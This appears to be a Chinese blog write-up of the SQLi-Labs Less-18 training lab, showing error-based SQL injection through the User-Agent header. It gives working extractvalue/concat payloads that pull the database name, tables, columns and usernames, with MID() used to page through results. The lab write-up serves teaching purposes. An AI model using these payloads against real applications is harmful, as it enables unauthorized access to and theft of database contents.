【网络安全】sqli-labs Less-18 解题详析

本文详细解析了SQLi-Labs Less-18挑战的解题过程,通过构造特定的SQL注入POC,利用extractvalue和mid函数,成功获取了数据库名称、表名、列名及数据,展示了报错注入技巧。

正文

该题为基于GET及报错的User-Agent注入,故需在参数后构造POC

报错注入的原理及攻击姿势可参考: 【网络安全】sqli-labs Less-5 解题详析

该题采用抓包进行处理

判断注入类型

在这里插入图片描述
由回显可知,注入类型为('注入

故注入模板为',1,1)#


查库名

',extractvalue(1,concat(0x23,database())),1)#

得到库名为security


查表名

我们以第一个1为注入点,构造POC如下:

',extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security'))),1)#

在这里插入图片描述

得到四个表名


查列名

',extractvalue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))),1)#

在这里插入图片描述


查数据

这里先介绍一下mid()函数,mid()函数是一种字符串函数,用于提取给定字符串的子字符串。它的语法如下:

MID(str, start, length)

其中:

  • str 是要提取子字符串的源字符串。
  • start 指定了子字符串的起始位置。它是一个整数值,表示从源字符串中的哪个字符开始提取子字符串。起始位置是从 1 开始计数的。
  • length 指定了要提取的子字符串的长度。它也是一个整数值,表示从起始位置开始向后提取多少个字符。

例如,假设有一个字符串 "Hello, World!",如果想要提取其中的子字符串 "World",可以使用以下 MID() 函数调用:

MID("Hello,World!", 7, 5)

在这个例子中,str 是字符串 "Hello, World!"start 是 7,length 是 5。因此,MID() 函数将从第 7 个字符开始提取长度为 5 的子字符串,结果为 "World"

我们以username列为例,利用mid()函数构造POC如下:

',extractvalue(1,concat(0x23,mid((select group_concat(username) from security.users),1,32))),1)#

在这里插入图片描述
这个语句是从 security.users 表中的 username 列中获取用户名,获取到的并不是全部的用户名,而是从第一个字符开始的长度为 32 的子字符串

接着,我们提取从第 32 个字符开始的长度为 32 的子字符串:

POC如下:

',extractvalue(1,concat(0x23,mid((select group_concat(username) from security.users),32,32))),1)#'

在这里插入图片描述
同理,32改为64后得到:

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

秋说

感谢打赏

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值